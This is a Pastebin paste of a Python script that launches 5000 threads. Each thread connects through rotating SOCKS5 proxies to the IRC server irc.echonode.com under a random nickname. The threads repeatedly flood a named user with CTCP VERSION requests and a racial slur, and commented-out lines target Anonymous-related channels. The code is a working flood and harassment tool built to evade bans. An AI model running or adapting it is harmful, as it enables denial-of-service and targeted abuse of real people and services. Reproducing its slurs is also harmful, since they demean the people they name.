Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Import some usefull stuff
- import socks
- import random
- import threading
- import time
- import string
- class MyThread(threading.Thread):
- def run(self):
- ircsock = socks.socksocket()
- choice = random.choice(lines)
- choice = choice.split(":")
- pport = choice[1].replace("\n", "")
- pserver = choice[0]
- try:
- ircsock.setproxy(socks.PROXY_TYPE_SOCKS5, pserver, int(pport))
- ircsock.connect((server, port))
- print("Connecting trough "+ pserver +":"+ str(pport) +"...")
- ircsock.send("USER "+ nick +" "+ nick +" * :"+ nick +"\n")
- ircsock.send("NICK "+ nick +"\n")
- # ircsock.send("PART #anonops\n")
- # ircsock.send("JOIN #buffer\n")
- # ircsock.send("PRIVMSG #buffer :I will register my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
- # time.sleep(60)
- # This will register the nickname.
- # ircsock.send("PRIVMSG GossamerFawn :REGISTER "+ nick +"h "+ nick +"@gmail.com\n")
- #ircsock.send("PRIVMSG bobfaget : Hi?\n")
- #ircsock.send("PRIVMSG shitstorm : Hi?\n")
- # Joins the channel
- ircsock.send("JOIN "+ channel +"\n")
- # ircsock.send("JOIN #operationfreedom\n")
- # ircsock.send("JOIN #opnewblood\n")
- # Send message about winning!
- # ircsock.send("PRIVMSG "+ channel +" :I just registered my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
- # ircsock.send("PRIVMSG "+ channel +" :h\n")
- while 1:
- ircmsg = ircsock.recv(1024)
- ircmsg = ircmsg.strip('\n\r')
- ircmsg = ircmsg.lower()
- ircsock.send("JOIN "+ channel +"\n")
- # ircsock.send("PRIVMSG "+ channel +" : Its evil to kick for capslock LOLDONGS"+ nick +"\n")
- # ircsock.send("PRIVMSG #anonops : "+ nick +"\n")
- # ircsock.send("PRIVMSG #operationfreedom : "+ nick +"\n")
- # ircsock.send("PRIVMSG #opnewblood : "+ nick +"\n")
- # ircsock.send("PART "+ channel +"\n")
- # ircsock.send("JOIN #KILL\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :\001VERSION\001\n")
- ircsock.send("PRIVMSG gossamerfawn :NIGGER\n")
- if ircmsg.find("ping :") != -1:
- ping = ircmsg.split("ping :")
- ircsock.send("PONG "+ ping[1] +"\n")
- time.sleep(1)
- except:
- print("Could not connect with the proxy")
- for x in xrange ( 5000 ):
- nicklength = random.randint(3,15)
- server = "irc.echonode.com"
- port = 6667
- nick = "dik".join(random.choice(string.letters) for _ in range(nicklength))
- channel = "#bots"
- fil = open("socks5.txt", "r")
- lines = fil.readlines()
- MyThread().start()
- time.sleep(0.02)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement